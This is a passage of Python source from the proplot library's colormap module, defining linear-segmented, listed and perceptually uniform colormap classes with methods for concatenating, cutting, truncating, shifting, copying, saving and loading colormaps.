New base class for all `~matplotlib.colors.LinearSegmentedColormap`\\ s.\n \"\"\"\n def __str__(self):\n return type(self).__name__ + f'(name={self.name!r})'\n\n def __repr__(self):\n string = f\" 'name': {self.name!r},\\n\"\n if hasattr(self, '_space'):\n string += f\" 'space': {self._space!r},\\n\"\n if hasattr(self, '_cyclic'):\n string += f\" 'cyclic': {self._cyclic!r},\\n\"\n for key, data in self._segmentdata.items():\n if callable(data):\n string += f' {key!r}: ,\\n'\n else:\n string += (\n f' {key!r}: [{data[0][2]:.3f}, ..., {data[-1][1]:.3f}],\\n'\n )\n return type(self).__name__ + '({\\n' + string + '})'\n\n @docstring.add_snippets\n def __init__(\n self, name, segmentdata, N=None, gamma=1,\n cyclic=False, alpha=None,\n ):\n \"\"\"\n Parameters\n ----------\n name : str\n The colormap name.\n segmentdata : dict-like\n Dictionary containing the keys ``'red'``, ``'blue'``, ``'green'``,\n and (optionally) ``'alpha'``. The shorthands ``'r'``, ``'g'``, ``'b'``,\n and ``'a'`` are also acceptable. The key values can be callable functions\n that return channel values given a colormap index, or 3-column arrays\n indicating the coordinates and channel transitions. See\n `matplotlib.colors.LinearSegmentedColormap` for a detailed explanation.\n N : int, optional\n Number of points in the colormap lookup table. Default is :rc:`image.lut`.\n gamma : float, optional\n Gamma scaling used for the *x* coordinates.\n %(cmap.init)s\n\n See also\n --------\n ListedColormap\n matplotlib.colors.LinearSegmentedColormap\n proplot.constructor.Colormap\n \"\"\"\n N = _not_none(N, rcParams['image.lut'])\n data = _pop_props(segmentdata, 'rgba', 'hsla')\n if segmentdata:\n raise ValueError(f'Invalid segmentdata keys {tuple(segmentdata)}.')\n super().__init__(name, data, N=N, gamma=gamma)\n self._cyclic = cyclic\n if alpha is not None:\n self.set_alpha(alpha)\n\n def append(self, *args, ratios=None, name=None, N=None, **kwargs):\n \"\"\"\n Return the concatenation of this colormap with the\n input colormaps.\n\n Parameters\n ----------\n *args\n Instances of `LinearSegmentedColormap`.\n ratios : list of float, optional\n Relative extent of each component colormap in the merged colormap.\n Length must equal ``len(args) + 1``.\n\n For example, ``cmap1.append(cmap2, ratios=(2, 1))`` generates\n a colormap with the left two-thrids containing colors from\n ``cmap1`` and the right one-third containing colors from ``cmap2``.\n name : str, optional\n The name of the new colormap. Default is\n ``'_'.join(cmap.name for cmap in args)``.\n N : int, optional\n The number of points in the colormap lookup table.\n Default is :rc:`image.lut` times ``len(args)``.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `LinearSegmentedColormap.copy`\n or `PerceptuallyUniformColormap.copy`.\n\n Returns\n -------\n `LinearSegmentedColormap`\n The colormap.\n\n See also\n --------\n ListedColormap.append\n \"\"\"\n # Parse input args\n if not args:\n return self\n if not all(isinstance(cmap, mcolors.LinearSegmentedColormap) for cmap in args):\n raise TypeError(f'Arguments {args!r} must be LinearSegmentedColormaps.')\n\n # PerceptuallyUniformColormap --> LinearSegmentedColormap conversions\n cmaps = [self, *args]\n spaces = {getattr(cmap, '_space', None) for cmap in cmaps}\n to_linear_segmented = len(spaces) > 1 # mixed colorspaces *or* mixed types\n if to_linear_segmented:\n for i, cmap in enumerate(cmaps):\n if isinstance(cmap, PerceptuallyUniformColormap):\n cmaps[i] = cmap.to_linear_segmented()\n\n # Combine the segmentdata, and use the y1/y2 slots at merge points so\n # we never interpolate between end colors of different colormaps\n segmentdata = {}\n if name is None:\n name = '_'.join(cmap.name for cmap in cmaps)\n if not np.iterable(ratios):\n ratios = [1] * len(cmaps)\n ratios = np.asarray(ratios) / np.sum(ratios)\n x0 = np.append(0, np.cumsum(ratios)) # coordinates for edges\n xw = x0[1:] - x0[:-1] # widths between edges\n for key in cmaps[0]._segmentdata.keys(): # not self._segmentdata\n # Callable segments\n # WARNING: If just reference a global 'funcs' list from inside the\n # 'data' function it can get overwritten in this loop. Must\n # embed 'funcs' into the definition using a keyword argument.\n callable_ = [callable(cmap._segmentdata[key]) for cmap in cmaps]\n if all(callable_): # expand range from x-to-w to 0-1\n funcs = [cmap._segmentdata[key] for cmap in cmaps]\n def xyy(ix, funcs=funcs): # noqa: E306\n ix = np.atleast_1d(ix)\n kx = np.empty(ix.shape)\n for j, jx in enumerate(ix.flat):\n idx = max(np.searchsorted(x0, jx) - 1, 0)\n kx.flat[j] = funcs[idx]((jx - x0[idx]) / xw[idx])\n return kx\n\n # Concatenate segment arrays and make the transition at the\n # seam instant so we *never interpolate* between end colors\n # of different maps.\n elif not any(callable_):\n datas = []\n for x, w, cmap in zip(x0[:-1], xw, cmaps):\n xyy = np.array(cmap._segmentdata[key])\n xyy[:, 0] = x + w * xyy[:, 0]\n datas.append(xyy)\n for i in range(len(datas) - 1):\n datas[i][-1, 2] = datas[i + 1][0, 2]\n datas[i + 1] = datas[i + 1][1:, :]\n xyy = np.concatenate(datas, axis=0)\n xyy[:, 0] = xyy[:, 0] / xyy[:, 0].max(axis=0) # fix fp errors\n\n else:\n raise TypeError('Mixed callable and non-callable colormap values.')\n segmentdata[key] = xyy\n\n # Handle gamma values\n ikey = None\n if key == 'saturation':\n ikey = 'gamma1'\n elif key == 'luminance':\n ikey = 'gamma2'\n if not ikey or ikey in kwargs:\n continue\n gamma = []\n for cmap in cmaps:\n igamma = getattr(cmap, '_' + ikey)\n if not np.iterable(igamma):\n if all(callable_):\n igamma = (igamma,)\n else:\n igamma = (igamma,) * (len(cmap._segmentdata[key]) - 1)\n gamma.extend(igamma)\n if all(callable_):\n if any(igamma != gamma[0] for igamma in gamma[1:]):\n warnings._warn_proplot(\n 'Cannot use multiple segment gammas when concatenating '\n f'callable segments. Using the first gamma of {gamma[0]}.'\n )\n gamma = gamma[0]\n kwargs[ikey] = gamma\n\n # Return copy or merge mixed types\n if to_linear_segmented and isinstance(self, PerceptuallyUniformColormap):\n return LinearSegmentedColormap(name, segmentdata, N, **kwargs)\n else:\n return self.copy(name, segmentdata, N, **kwargs)\n\n def cut(self, cut=None, name=None, left=None, right=None, **kwargs):\n \"\"\"\n Return a version of the colormap with the center \"cut out\".\n This is great for making the transition from \"negative\" to \"positive\"\n in a diverging colormap more distinct.\n\n Parameters\n ----------\n cut : float, optional\n The proportion to cut from the center of the colormap. For example,\n ``cut=0.1`` cuts the central 10%, or ``cut=-0.1`` fills the ctranl 10%\n of the colormap with the current central color (usually white).\n name : str, optional\n The name of the new colormap. Default is ``self.name + '_copy'``.\n left, right : float, optional\n The colormap indices for the \"leftmost\" and \"rightmost\" colors.\n Defaults are ``0`` and ``1``. See\n `~LinearSegmentedColormap.truncate` for details.\n right : float, optional\n The colormap index for the new \"rightmost\" color. Must fall between\n\n Other parameters\n ----------------\n **kwargs\n Passed to `LinearSegmentedColormap.copy`\n or `PerceptuallyUniformColormap.copy`.\n\n Returns\n -------\n `LinearSegmentedColormap`\n The colormap.\n\n See also\n --------\n LinearSegmentedColormap.truncate\n ListedColormap.truncate\n \"\"\"\n # Parse input args\n left = max(_not_none(left, 0), 0)\n right = min(_not_none(right, 1), 1)\n cut = _not_none(cut, 0)\n offset = 0.5 * cut\n if offset < 0: # add extra 'white' later on\n offset = 0\n elif offset == 0:\n return self.truncate(left, right)\n\n # Decompose cut into two truncations followed by concatenation\n if 0.5 - offset < left or 0.5 + offset > right:\n raise ValueError(\n f'Invalid combination cut={cut} for left={left} and right={right}.'\n )\n if name is None:\n name = self.name + '_copy'\n cmap_left = self.truncate(left, 0.5 - offset)\n cmap_right = self.truncate(0.5 + offset, right)\n\n # Permit adding extra 'white' to colormap center\n # NOTE: Rely on channel abbreviations to simplify code here\n args = []\n if cut < 0:\n ratio = 0.5 - 0.5 * abs(cut) # ratio for flanks on either side\n space = getattr(self, '_space', None) or 'rgb'\n xyza = to_xyza(self(0.5), space=space)\n segmentdata = {\n key: _make_segment_data(x) for key, x in zip(space + 'a', xyza)\n }\n args.append(type(self)('_no_name', segmentdata, self.N))\n kwargs.setdefault('ratios', (ratio, abs(cut), ratio))\n args.append(cmap_right)\n\n return cmap_left.append(*args, name=name, **kwargs)\n\n def reversed(self, name=None, **kwargs):\n \"\"\"\n Return a reversed copy of the colormap.\n\n Parameters\n ----------\n name : str, optional\n The name of the new colormap. Default is ``self.name + '_r'``.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `LinearSegmentedColormap.copy`\n or `PerceptuallyUniformColormap.copy`.\n\n See also\n --------\n matplotlib.colors.LinearSegmentedColormap.reversed\n \"\"\"\n segmentdata = {\n key: (lambda x: data(1.0 - x)) if callable(data)\n else [(1.0 - x, y1, y0) for x, y0, y1 in reversed(data)]\n for key, data in self._segmentdata.items()\n }\n for key in ('gamma1', 'gamma2'):\n if key in kwargs:\n continue\n gamma = getattr(self, '_' + key, None)\n if gamma is not None and np.iterable(gamma):\n kwargs[key] = gamma[::-1]\n if name is None:\n name = self.name + '_r'\n return self.copy(name, segmentdata, **kwargs)\n\n def save(self, path=None, alpha=True):\n \"\"\"\n Save the colormap data to a file.\n\n Parameters\n ----------\n path : str, optional\n The output filename. If not provided, the colormap\n is saved under ``~/.proplot/cmaps/name.json`` where ``name``\n is the colormap name. Valid extensions are described in\n the below table.\n\n =================== ==========================================\n Extension Description\n =================== ==========================================\n ``.json`` (default) JSON database of the channel segment data.\n ``.hex`` Comma-delimited list of HEX strings.\n ``.rgb``, ``.txt`` 3-4 column table of channel values.\n =================== ==========================================\n\n alpha : bool, optional\n Whether to include an opacity column for ``.rgb``\n and ``.txt`` files.\n\n See also\n --------\n ListedColormap.save\n \"\"\"\n dirname = os.path.join('~', '.proplot', 'cmaps')\n filename = self._parse_path(path, dirname, 'json')\n\n # Save channel segment data in json file\n _, ext = os.path.splitext(filename)\n if ext[1:] == 'json':\n # Sanitize segmentdata values. Convert np.float to builtin float,\n # np.array to list of lists, and callable to list of lists. We\n # tried encoding func.__code__ with base64 and marshal instead, but\n # when cmap.concatenate() embeds functions as keyword arguments, this\n # seems to make it *impossible* to load back up the function with\n # FunctionType (error message: arg 5 (closure) must be tuple). Instead\n # use this brute force workaround.\n data = {}\n for key, value in self._segmentdata.items():\n if callable(value):\n x = np.linspace(0, 1, 256) # just save the transitions\n y = np.array([value(_) for _ in x]).squeeze()\n value = np.vstack((x, y, y)).T\n data[key] = np.asarray(value).astype(float).tolist()\n\n # Add critical attributes to the dictionary\n keys = ()\n if isinstance(self, PerceptuallyUniformColormap):\n keys = ('cyclic', 'gamma1', 'gamma2', 'space')\n elif isinstance(self, LinearSegmentedColormap):\n keys = ('cyclic', 'gamma')\n for key in keys:\n data[key] = getattr(self, '_' + key)\n with open(filename, 'w') as fh:\n json.dump(data, fh, indent=4)\n\n # Save lookup table colors\n else:\n data = self._get_data(ext[1:], alpha=alpha)\n with open(filename, 'w') as fh:\n fh.write(data)\n print(f'Saved colormap to {filename!r}.')\n\n def set_alpha(self, alpha, coords=None, ratios=None):\n \"\"\"\n Set the opacity for the entire colormap or set up an opacity gradation.\n\n Parameters\n ----------\n alpha : float or list of float\n If float, this is the opacity for the entire colormap. If list of\n float, the colormap traverses these opacity values.\n coords : list of float, optional\n Colormap coordinates for the opacity values. The first and last\n coordinates must be ``0`` and ``1``. If `alpha` is not scalar, the\n default coordinates are ``np.linspace(0, 1, len(alpha))``.\n ratios : list of float, optional\n Relative extent of each opacity transition segment. Length should\n equal ``len(alpha) + 1``. For example\n ``cmap.set_alpha((1, 1, 0), ratios=(2, 1))`` creates a transtion from\n 100 percent to 0 percent opacity in the right *third* of the colormap.\n\n See also\n --------\n ListedColormap.set_alpha\n \"\"\"\n alpha = _make_segment_data(alpha, coords=coords, ratios=ratios)\n self._segmentdata['alpha'] = alpha\n self._isinit = False\n\n def set_cyclic(self, b):\n \"\"\"\n Set whether this colormap is \"cyclic\". See `LinearSegmentedColormap`\n for details.\n \"\"\"\n self._cyclic = bool(b)\n self._isinit = False\n\n def shifted(self, shift=180, name=None, **kwargs):\n \"\"\"\n Return a cyclicaly shifted version of the colormap. If the colormap\n cyclic property is set to ``False`` a warning will be raised.\n\n Parameters\n ----------\n shift : float, optional\n The number of degrees to shift, out of 360 degrees.\n The default is ``180``.\n name : str, optional\n The name of the new colormap. Default is ``self.name + '_s'``.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `LinearSegmentedColormap.copy`\n or `PerceptuallyUniformColormap.copy`.\n\n See also\n --------\n ListedColormap.shifted\n \"\"\"\n shift = ((shift or 0) / 360) % 1\n if shift == 0:\n return self\n if name is None:\n name = self.name + '_s'\n if not self._cyclic:\n warnings._warn_proplot(\n f'Shifting non-cyclic colormap {self.name!r}. '\n f'Use cmap.set_cyclic(True) or Colormap(..., cyclic=True) to '\n 'suppress this warning.'\n )\n self._cyclic = True\n\n # Decompose shift into two truncations followed by concatenation\n cmap_left = self.truncate(shift, 1)\n cmap_right = self.truncate(0, shift)\n return cmap_left.append(\n cmap_right, ratios=(1 - shift, shift), name=name, **kwargs\n )\n\n def truncate(self, left=None, right=None, name=None, **kwargs):\n \"\"\"\n Return a truncated version of the colormap.\n\n Parameters\n ----------\n left : float, optional\n The colormap index for the new \"leftmost\" color. Must fall between ``0``\n and ``1``. For example, ``left=0.1`` cuts the leftmost 10%% of the colors.\n right : float, optional\n The colormap index for the new \"rightmost\" color. Must fall between ``0``\n and ``1``. For example, ``right=0.9`` cuts the leftmost 10%% of the colors.\n name : str, optional\n The name of the new colormap. Default is ``self.name + '_copy'``.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `LinearSegmentedColormap.copy`\n or `PerceptuallyUniformColormap.copy`.\n\n See also\n --------\n ListedColormap.truncate\n \"\"\"\n # Bail out\n left = max(_not_none(left, 0), 0)\n right = min(_not_none(right, 1), 1)\n if left == 0 and right == 1:\n return self\n if name is None:\n name = self.name + '_copy'\n\n # Resample the segmentdata arrays\n segmentdata = {}\n for key, xyy in self._segmentdata.items():\n # Callable array\n # WARNING: If just reference a global 'xyy' callable from inside\n # the lambda function it gets overwritten in the loop! Must embed\n # the old callable in the new one as a default keyword arg.\n if callable(xyy):\n def xyy(x, func=xyy):\n return func(left + x * (right - left))\n\n # Slice\n # l is the first point where x > 0 or x > left, should be >= 1\n # r is the last point where r < 1 or r < right\n else:\n xyy = np.asarray(xyy)\n x = xyy[:, 0]\n l = np.searchsorted(x, left) # first x value > left # noqa\n r = np.searchsorted(x, right) - 1 # last x value < right\n xc = xyy[l:r + 1, :].copy()\n xl = xyy[l - 1, 1:] + (left - x[l - 1]) * (\n (xyy[l, 1:] - xyy[l - 1, 1:]) / (x[l] - x[l - 1])\n )\n xr = xyy[r, 1:] + (right - x[r]) * (\n (xyy[r + 1, 1:] - xyy[r, 1:]) / (x[r + 1] - x[r])\n )\n xyy = np.vstack(((left, *xl), xc, (right, *xr)))\n xyy[:, 0] = (xyy[:, 0] - left) / (right - left)\n segmentdata[key] = xyy\n\n # Retain the corresponding gamma *segments*\n if key == 'saturation':\n ikey = 'gamma1'\n elif key == 'luminance':\n ikey = 'gamma2'\n else:\n continue\n if ikey in kwargs:\n continue\n gamma = getattr(self, '_' + ikey)\n if np.iterable(gamma):\n if callable(xyy):\n if any(igamma != gamma[0] for igamma in gamma[1:]):\n warnings._warn_proplot(\n 'Cannot use multiple segment gammas when '\n 'truncating colormap. Using the first gamma '\n f'of {gamma[0]}.'\n )\n gamma = gamma[0]\n else:\n igamma = gamma[l - 1:r + 1]\n if len(igamma) == 0: # TODO: issue warning?\n gamma = gamma[0]\n else:\n gamma = igamma\n kwargs[ikey] = gamma\n\n return self.copy(name, segmentdata, **kwargs)\n\n def copy(\n self, name=None, segmentdata=None, N=None, *,\n alpha=None, gamma=None, cyclic=None\n ):\n \"\"\"\n Return a new colormap with relevant properties copied from this one\n if they were not provided as keyword arguments.\n\n Parameters\n ----------\n name : str\n The name of the new colormap. Default is ``self.name + '_copy'``.\n segmentdata, N, alpha, gamma, cyclic : optional\n See `LinearSegmentedColormap`. If not provided, these are copied from\n the current colormap.\n\n See also\n --------\n ListedColormap.copy\n PerceptuallyUniformColormap.copy\n \"\"\"\n if name is None:\n name = self.name + '_copy'\n if segmentdata is None:\n segmentdata = self._segmentdata.copy()\n if gamma is None:\n gamma = self._gamma\n if cyclic is None:\n cyclic = self._cyclic\n if N is None:\n N = self.N\n cmap = LinearSegmentedColormap(\n name, segmentdata, N,\n alpha=alpha, gamma=gamma, cyclic=cyclic\n )\n cmap._rgba_bad = self._rgba_bad\n cmap._rgba_under = self._rgba_under\n cmap._rgba_over = self._rgba_over\n return cmap\n\n def to_listed(self, samples=10, name=None, **kwargs):\n \"\"\"\n Convert the `LinearSegmentedColormap` to a `ListedColormap` by drawing\n samples from the colormap.\n\n Parameters\n ----------\n samples : int or list of float, optional\n If integer, draw samples at the colormap coordinates\n ``np.linspace(0, 1, samples)``. If list of float, draw samples\n at the specified points.\n name : str, optional\n The name of the new colormap. Default is ``self.name + '_copy'``.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `ListedColormap`.\n\n See also\n --------\n ListedColormap.to_linear_segmented\n \"\"\"\n if isinstance(samples, Integral):\n samples = np.linspace(0, 1, samples)\n elif not np.iterable(samples):\n raise TypeError('Samples must be integer or iterable.')\n samples = np.asarray(samples)\n colors = self(samples)\n if name is None:\n name = self.name + '_copy'\n return ListedColormap(colors, name=name, **kwargs)\n\n @classmethod\n def from_file(cls, path, warn_on_failure=False):\n \"\"\"\n Load colormap from a file.\n\n Parameters\n ----------\n path : str\n The file path. The file extension should be one of the following:\n\n =================== ==========================================\n Extension Description\n =================== ==========================================\n ``.json`` JSON database of the channel segment data.\n ``.hex`` Comma-delimited list of HEX strings.\n ``.rgb``, ``.txt`` 3-4 column table of channel values.\n =================== ==========================================\n\n warn_on_failure : bool, optional\n If ``True``, issue a warning when loading fails instead of\n raising an error.\n\n See also\n --------\n ListedColormap.from_file\n \"\"\"\n return cls._from_file(path, warn_on_failure=warn_on_failure)\n\n @classmethod\n def from_list(cls, name, colors, ratios=None, **kwargs):\n \"\"\"\n Make a `LinearSegmentedColormap` from a list of colors.\n\n Parameters\n ----------\n name : str\n The colormap name.\n colors : list of color-spec or (float, color-spec) tuples, optional\n If list of RGB[A] tuples or color strings, the colormap transitions\n evenly from ``colors[0]`` at the left-hand side to\n ``colors[-1]`` at the right-hand side.\n\n If list of (float, color-spec) tuples, the float values are the\n coordinate of each transition and must range from 0 to 1. This\n can be used to divide the colormap range unevenly.\n ratios : list of float, optional\n Relative extents of each color transition. Must have length\n ``len(colors) - 1``. Larger numbers indicate a slower\n transition, smaller numbers indicate a faster transition.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `LinearSegmentedColormap`.\n\n Returns\n -------\n `LinearSegmentedColormap`\n The colormap.\n\n See also\n --------\n matplotlib.colors.LinearSegmentedColormap.from_list\n PerceptuallyUniformColormap.from_list\n \"\"\"\n # Get coordinates\n coords = None\n if not np.iterable(colors):\n raise TypeError('Colors must be iterable.')\n if (\n np.iterable(colors[0])\n and len(colors[0]) == 2\n and not isinstance(colors[0], str)\n ):\n coords, colors = zip(*colors)\n colors = [to_rgba(color) for color in colors]\n\n # Build segmentdata\n keys = ('red', 'green', 'blue', 'alpha')\n cdict = {}\n for key, values in zip(keys, zip(*colors)):\n cdict[key] = _make_segment_data(values, coords, ratios)\n return cls(name, cdict, **kwargs)\n\n # Rename methods\n concatenate, punched, truncated, updated = warnings._rename_objs(\n '0.6',\n concatenate=append,\n punched=cut,\n truncated=truncate,\n updated=copy,\n )\n\n\nclass ListedColormap(mcolors.ListedColormap, _Colormap):\n r\"\"\"\n New base class for all `~matplotlib.colors.ListedColormap`\\ s.\n \"\"\"\n def __str__(self):\n return f'ListedColormap(name={self.name!r})'\n\n def __repr__(self):\n return (\n 'ListedColormap({\\n'\n f\" 'name': {self.name!r},\\n\"\n f\" 'colors': {[mcolors.to_hex(color) for color in self.colors]},\\n\"\n '})'\n )\n\n def __init__(self, *args, alpha=None, **kwargs):\n \"\"\"\n Parameters\n ----------\n alpha : float, optional\n The opacity for the entire colormap. Overrides the input\n colors.\n\n Other parameters\n ----------------\n *args, **kwargs\n Passed to `~matplotlib.colors.ListedColormap`.\n\n See also\n --------\n LinearSegmentedColormap\n matplotlib.colors.ListedColormap\n proplot.constructor.Colormap\n \"\"\"\n super().__init__(*args, **kwargs)\n if alpha is not None:\n self.set_alpha(alpha)\n\n def append(self, *args, name=None, N=None, **kwargs):\n \"\"\"\n Append arbitrary colormaps onto this colormap.\n\n Parameters\n ----------\n *args\n Instances of `ListedColormap`.\n name : str, optional\n The name of the new colormap. Default is\n ``'_'.join(cmap.name for cmap in args)``.\n N : int, optional\n The number of colors in the colormap lookup table. Default is\n the number of colors in the concatenated lists.\n\n Other parameters\n ----------------\n **kwargs\n Passed to `~ListedColormap.copy`.\n\n See also\n --------\n LinearSegmentedColormap.append\n \"\"\"\n if not args:\n return self\n if not all(isinstance(cmap, mcolors.ListedColormap) for cmap in args):\n raise TypeError(f'Arguments {args!r} must be ListedColormap.')\n cmaps = (self, *args)\n if name is None:\n name = '_'.join(cmap.name for cmap in cmaps)\n colors = [color for cmap in cmaps for color in cmap.colors]\n return self.copy(colors, name, N or len(colors), **kwargs)\n\n def save(self, path=None, alpha=True):\n \"\"\"\n Save the colormap data to a file.\n\n Parameters\n ----------\n path : str, optional\n The output filename. If not provided, the colormap\n is saved under ``~/.proplot/cycles/name.hex`` where ``name``\n is the colormap name. Valid extensions are described in\n the below table.\n\n ================== ====================================\n Extension Description\n ================== ====================================\n ``.hex`` (default) Comma-delimited list of HEX strings.\n ``.rgb``, ``.txt`` 3-4 column table of channel values.\n ================== ====================================\n\n alpha : bool, optional\n Whether to include an opacity column for ``.rgb``\n and ``.txt`` files.\n\n See also\n --------\n LinearSegmentedColormap.save\n \"\"\"\n dirname = os.path.join('~', '.proplot', 'cycles')\n filename = self._parse_path(path, dirname, 'hex')\n\n # Save lookup table colors\n _, ext = os.path.splitext(filename)\n data = self._get_data(ext[1:], alpha=alpha)\n with open(filename, 'w') as fh:\n fh.write(data)\n print(f'Saved colormap to {filename!r}.')\n\n def set_alpha(self, alpha):\n \"\"\"\n Set the opacity for the entire colormap.\n\n Parameters\n ----------\n alpha : float\n The opacity.\n\n See also\n --------\n LinearSegmentedColormap.set_alpha\n \"\"\"\n colors = [list(mcolors.to_rgba(color)) for color in self.colors]\n for color in colors:\n color[3] = alpha\n self.colors = colors\n self._init()\n\n def shifted(self, shift=1, name=None):\n \"\"\"\n Return a cyclically shifted version of the colormap.\n\n Parameters\n ----------\n shift : float, optional\n The number of places to shift, between ``-self.N`` and ``self.N``.\n The default is ``1``.\n name : str, optional\n The name of the new colormap. Default is ``self.name + '_s'``.\n\n See also\n --------\n LinearSegmentedColormap.shifted\n \"\"\"\n if not shift:\n return self\n if name is None:\n name = self.name + '_s'\n shift = shift % len(self.colors)\n colors = list(self.colors)\n colors = colors[shift:] + colors[:shift]\n return self.copy(colors, name, len(colors))\n\n def truncate(self, left=None, right=None, name=None):\n \"\"\"\n Return a truncated version of the colormap.\n\n Parameters\n ----------\n left : float, optional\n The colormap index for the new \"leftmost\" color. Must fall between\n ``0`` and ``self.N``. For example,\n ``left=2`` deletes the two first colors.\n right : float, optional\n The colormap index for the new \"rightmost\" color. Must fall between\n ``0`` and ``self.N``. For example,\n ``right=4`` deletes colors after the fourth color.\n name : str, optional\n The name of the new colormap. Default is ``self.name + '_copy'``.\n\n See also\n --------\n LinearSegmentedColormap.truncate\n \"\"\"\n if left is None and right is None:\n return self\n if name is None:\n name = self.name + '_copy'\n colors = self.colors[left:right]\n return self.copy(colors, name, len(colors))\n\n def copy(self, colors=None, name=None, N=None, *, alpha=None):\n \"\"\"\n Return a new colormap with relevant properties copied from this one\n if they were not provided as keyword arguments.\n\n Parameters\n ----------\n name : str\n The name of the new colormap. Default is ``self.name + '_copy'``.\n colors, N, alpha : optional\n See `ListedColormap`. If not provided,\n these are copied from the current colormap.\n\n See also\n --------\n LinearSegmentedColormap.copy\n PerceptuallyUniformColormap.copy\n \"\"\"\n if name is None:\n name = self.name + '_copy'\n if colors is None:\n colors = list(self.colors) # copy\n if N is None:\n N = self.N\n cmap = ListedColormap(colors, name, N, alpha=alpha)\n cmap._rgba_bad = self._rgba_bad\n cmap._rgba_under = self._rgba_under\n cmap._rgba_over = self._rgba_over\n return cmap\n\n @classmethod\n def from_file(cls, path, warn_on_failure=False):\n \"\"\"\n Load color cycle from a file.\n\n Parameters\n ----------\n path : str\n The file path. The file extension should be one of the following:\n\n ================== ==========================================\n Extension Description\n ================== ==========================================\n ``.hex`` Comma-delimited list of HEX strings.\n ``.rgb``, ``.txt`` 3-4 column table of channel values.\n ================== ==========================================\n\n warn_on_failure : bool, optional\n If ``True``, issue a warning when loading fails instead of\n raising an error.\n\n See also\n --------\n LinearSegmentedColormap.from_file\n \"\"\"\n return cls._from_file(path, warn_on_failure=warn_on_failure)\n\n # Rename methods\n concatenate, truncated, updated = warnings._rename_objs(\n '0.6',\n concatenate=append,\n truncated=truncate,\n updated=copy,\n )\n\n\nclass PerceptuallyUniformColormap(LinearSegmentedColormap, _Colormap):\n \"\"\"\n Similar to `~matplotlib.colors.LinearSegmentedColormap`, but instead\n of varying the RGB channels, we vary hue, saturation, and luminance in\n either the HCL colorspace or the HSL or HPL scalings of HCL.\n \"\"\"\n @docstring.add_snippets\n def __init__(\n self, name, segmentdata, N=None,\n space=None, clip=True, gamma=None, gamma1=None, gamma2=None, **kwargs\n ):\n \"\"\"\n Parameters\n ----------\n name : str\n The colormap name.\n segmentdata : dict-like\n Dictionary containing the keys ``'hue'``, ``'saturation'``,\n ``'luminance'``, and (optionally) ``'alpha'``. The key ``'chroma'`` is\n treated as a synonym for ``'saturation'``. The shorthands ``'h'``,\n ``'s'``, ``'l'``, ``'a'``, and ``'c'`` are also acceptable. The key\n values can be callable functions that return channel values given a\n colormap index, or 3-column arrays indicating the coordinates and\n channel transitions. See `~matplotlib.colors.LinearSegmentedColormap`\n for a more detailed explanation.\n space : {'hsl', 'hpl', 'hcl'}, optional\n The hue, saturation, luminance-style colorspace to use for\n interpreting the channels. See\n `this page `__ for a description.\n clip : bool, optional\n Whether to \"clip\" impossible colors, i.e. truncate HCL colors\n with RGB channels with values >1, or mask them out as gray.\n %(cmap.init)s\n %(cmap.gamma)s\n\n Other parameters\n ----------------\n **kwargs\n Passed to `LinearSegmentedColormap`.\n\n Example\n -------\n The below example generates a `PerceptuallyUniformColormap` from a\n `segmentdata` dictionary that uses color names for the hue data,\n instead of channel values between ``0`` and ``360``.\n\n >>> import proplot as pplt\n >>> data = {\n >>> 'h': [[0, 'red', 'red'], [1, 'blue', 'blue']],\n >>> 's': [[0, 100, 100], [1, 100, 100]],\n >>> 'l': [[0, 100, 100], [1, 20, 20]],\n >>> }\n >>> cmap = pplt.PerceptuallyUniformColormap(data)\n\n See also\n --------\n LinearSegmentedColormap\n proplot.constructor.Colormap\n \"\"\"\n # Checks\n data = _pop_props(segmentdata, 'hsla')\n if segmentdata:\n raise ValueError(f'Invalid segmentdata keys {tuple(segmentdata)}.')\n space = _not_none(space, 'hsl').lower()\n if space not in ('rgb', 'hsv', 'hpl', 'hsl', 'hcl'):\n raise ValueError(f'Unknown colorspace {space!r}.')\n # Convert color strings to channel values\n for key, array in data.items():\n if callable(array): # permit callable\n continue\n for i, xyy in enumerate(array):\n xyy = list(xyy) # make copy!\n for j, y in enumerate(xyy[1:]): # modify the y values\n xyy[j + 1] = _get_channel(y, key, space)\n data[key][i] = xyy\n # Initialize\n super().__init__(name, data, gamma=1.0, N=N, **kwargs)\n # Custom properties\n self._gamma1 = _not_none(gamma1, gamma, 1.0)\n self._gamma2 = _not_none(gamma2, gamma, 1.0)\n self._space = space\n self._clip = clip\n\n def _init(self):\n \"\"\"\n As with `~matplotlib.colors.LinearSegmentedColormap`, but convert\n each value in the lookup table from ``self._space`` to RGB.\n \"\"\"\n # First generate the lookup table\n channels = ('hue', 'saturation', 'luminance')\n inverses = (False, False, True) # weight low chroma, high luminance\n gammas = (1.0, self._gamma1, self._gamma2)\n self._lut_hsl = np.ones((self.N + 3, 4), float) # fill\n for i, (channel, gamma, inverse) in enumerate(zip(channels, gammas, inverses)):\n self._lut_hsl[:-3, i] = _make_lookup_table(\n self.N, self._segmentdata[channel], gamma, inverse\n )\n if 'alpha' in self._segmentdata:\n self._lut_hsl[:-3, 3] = _make_lookup_table(\n self.N, self._segmentdata['alpha']\n )\n self._lut_hsl[:-3, 0] %= 360\n\n # Make hues circular, set extremes i.e. copy HSL values\n self._lut = self._lut_hsl.copy()\n self._set_extremes() # generally just used end values in segmentdata\n self._isinit = True\n\n # Now convert values to RGB and clip colors\n for i in range(self.N + 3):\n self._lut[i, :3] = to_rgb(self._lut[i, :3], self._space)\n self._lut[:, :3] = _clip_colors(self._lut[:, :3], self._clip)\n\n @docstring.add_snippets\n def set_gamma(self, gamma=None, gamma1=None, gamma2=None):\n \"\"\"\n Modify the gamma value(s) and refresh the lookup table.\n\n Parameters\n ----------\n %(cmap.gamma)s\n \"\"\"\n gamma1 = _not_none(gamma1, gamma)\n gamma2 = _not_none(gamma2, gamma)\n if gamma1 is not None:\n self._gamma1 = gamma1\n if gamma2 is not None:\n self._gamma2 = gamma2\n self._init()\n\n def copy(\n self, name=None, segmentdata=None, N=None, *,\n alpha=None, gamma=None, cyclic=None,\n clip=None, gamma1=None, gamma2=None, space=None\n ):\n \"\"\"\n Return a new colormap with relevant properties copied from this one\n if they were not provided as keyword arguments.\n\n Parameters\n ----------\n name : str\n The name of the new colormap. Default is ``self.name + '_copy'``.\n segmentdata, N, alpha, clip, cyclic, gamma, gamma1, gamma2, space : optional\n See `PerceptuallyUniformColormap`. If not provided,\n these are copied from the current colormap.\n\n See also\n --------\n 